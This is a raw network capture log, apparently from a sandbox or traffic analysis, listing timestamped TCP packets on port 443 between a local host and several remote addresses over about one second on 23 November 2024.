Nov 23, 2024 21:59:23.335146904 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:23.335155964 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:23.335441113 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:23.335447073 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:23.343571901 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.343621969 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.343627930 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.357810974 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.357948065 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.358541965 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.359352112 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.359369040 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.359546900 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.359606028 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.359863997 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.360256910 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.360268116 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.360281944 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.360289097 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.363162994 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.363198042 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.363851070 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.364114046 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.364128113 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.383852959 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:23.383929014 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:23.407996893 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:23.408009052 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:23.408272982 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:23.408277988 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:23.411777020 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.411823988 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.412039042 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.412182093 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.412203074 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.412218094 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.412225008 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.414992094 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.415040970 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.415170908 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.415613890 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.415628910 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.434689999 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.435194016 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.435204029 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.477978945 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.478030920 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.478079081 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.478255033 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.478270054 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.478281021 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.478286028 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.480777979 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.480809927 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.481040001 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.481221914 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.481236935 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.484992027 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.498886108 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.524066925 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.524156094 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.524171114 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.532224894 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.532278061 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.532284975 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.540122032 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.540222883 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.540250063 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.548969030 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.549024105 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.549030066 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.560544968 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.560606956 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.560614109 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.573889971 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.573955059 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.573961020 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.586488962 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.586538076 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.586544991 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.599088907 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.599139929 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.599145889 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.611458063 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.611485958 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.611512899 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.611522913 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.611582994 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.623903036 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.636738062 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.636791945 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.636805058 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.730506897 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.730664015 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.730674982 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.732636929 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.732722998 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.732728958 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.737775087 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.737833023 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.737838984 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.741494894 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.741547108 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.741552114 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.746206999 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.746257067 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.746263027 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.753962994 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.754091978 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.754097939 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.756673098 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.756721973 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.756727934 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.764385939 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.764435053 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.764441967 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.775933981 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.775985003 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.775995970 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.788121939 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.788156986 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.788178921 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.788186073 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.788228989 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.807208061 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.807492971 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:23.807517052 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:23.807532072 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:23.807594061 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:23.807610989 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:23.807626009 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:23.807708025 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:23.813690901 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.813721895 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.813740969 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.813752890 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.813802958 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.821505070 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.830480099 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.830529928 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.830535889 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.846729994 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.846761942 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.847009897 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.847024918 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.847070932 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.850871086 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.860107899 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.860138893 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.860198021 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.860207081 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.860261917 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.867928982 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.876724005 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.876784086 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.876790047 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.877940893 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.877999067 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.878004074 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.885485888 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.885538101 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.885545015 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.891093016 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.891148090 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.891154051 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.896673918 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.896758080 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.896763086 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.902369976 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.902424097 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.902431011 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.941764116 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.941842079 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.941873074 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.944272041 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.944330931 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.944336891 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.946974993 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.947033882 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.947038889 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.951859951 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.951893091 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.951914072 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.951924086 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.952064037 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.954351902 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.955533028 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.955595016 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.955602884 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.956926107 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:23.956949949 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:23.956986904 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:23.957001925 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:23.957014084 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:23.957155943 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:23.963589907 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.963641882 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.963649035 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.963722944 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.963767052 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.963772058 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.964965105 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.965034008 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.965169907 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.965184927 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.990621090 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:23.990629911 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:23.990688086 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:23.990696907 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:23.990750074 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:23.991761923 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:23.991786003 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:23.991849899 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:23.991868973 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:23.991894960 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:23.991934061 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.007436991 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.007500887 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.040514946 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.040539980 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.040584087 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.040600061 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.040659904 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.158951044 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.158978939 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.159043074 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.159065008 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.159116983 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.159116983 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.175015926 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.175110102 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.175121069 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.175173044 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.186002016 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.186019897 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.186203957 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.186218977 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.186331987 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.197356939 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.197427988 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.197438002 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.197501898 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.213804007 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.213824987 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.213911057 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.213922977 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.213972092 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.213972092 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.220617056 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.220706940 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.220716000 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.220805883 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.235100031 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.235120058 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.235207081 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.235219955 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.235249043 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.235297918 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.249527931 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.249608994 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.249619007 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.249672890 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.344965935 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.345012903 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.345081091 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.345091105 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.345149040 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.345149040 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.359576941 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.359592915 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.359702110 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.359713078 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.359777927 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.361968040 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.362054110 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.362063885 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.362121105 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.374511003 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.374527931 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.374605894 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.374624014 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.374820948 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.380019903 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.380095005 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.380101919 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.380214930 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.389122963 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.389139891 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.389194012 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.389210939 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.389255047 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.389272928 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.396704912 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.396773100 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.396780014 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.396826029 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.401978016 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.401994944 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.402129889 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.402139902 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.402247906 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.415472031 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.415556908 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.415564060 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.415608883 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.417608023 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.417623997 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.417709112 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.417717934 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.417789936 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.424132109 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.424206972 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.424212933 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.424259901 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.430419922 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.430438995 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.430527925 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.430527925 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.430538893 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.430763006 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.432837009 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.432897091 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.432904959 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.432949066 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.444365978 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.444458008 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.444463015 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.444502115 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.453018904 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.453110933 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.453116894 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.453160048 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.513181925 CET	49765	443	192.168.2.6	4.245.163.56
Nov 23, 2024 21:59:24.513209105 CET	443	49765	4.245.163.56	192.168.2.6
Nov 23, 2024 21:59:24.513506889 CET	49765	443	192.168.2.6	4.245.163.56
Nov 23, 2024 21:59:24.514839888 CET	49765	443	192.168.2.6	4.245.163.56
Nov 23, 2024 21:59:24.514851093 CET	443	49765	4.245.163.56	192.168.2.6
Nov 23, 2024 21:59:24.530214071 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.530234098 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.530344963 CET	49753	443	192.168.2.6	150.171.27.10
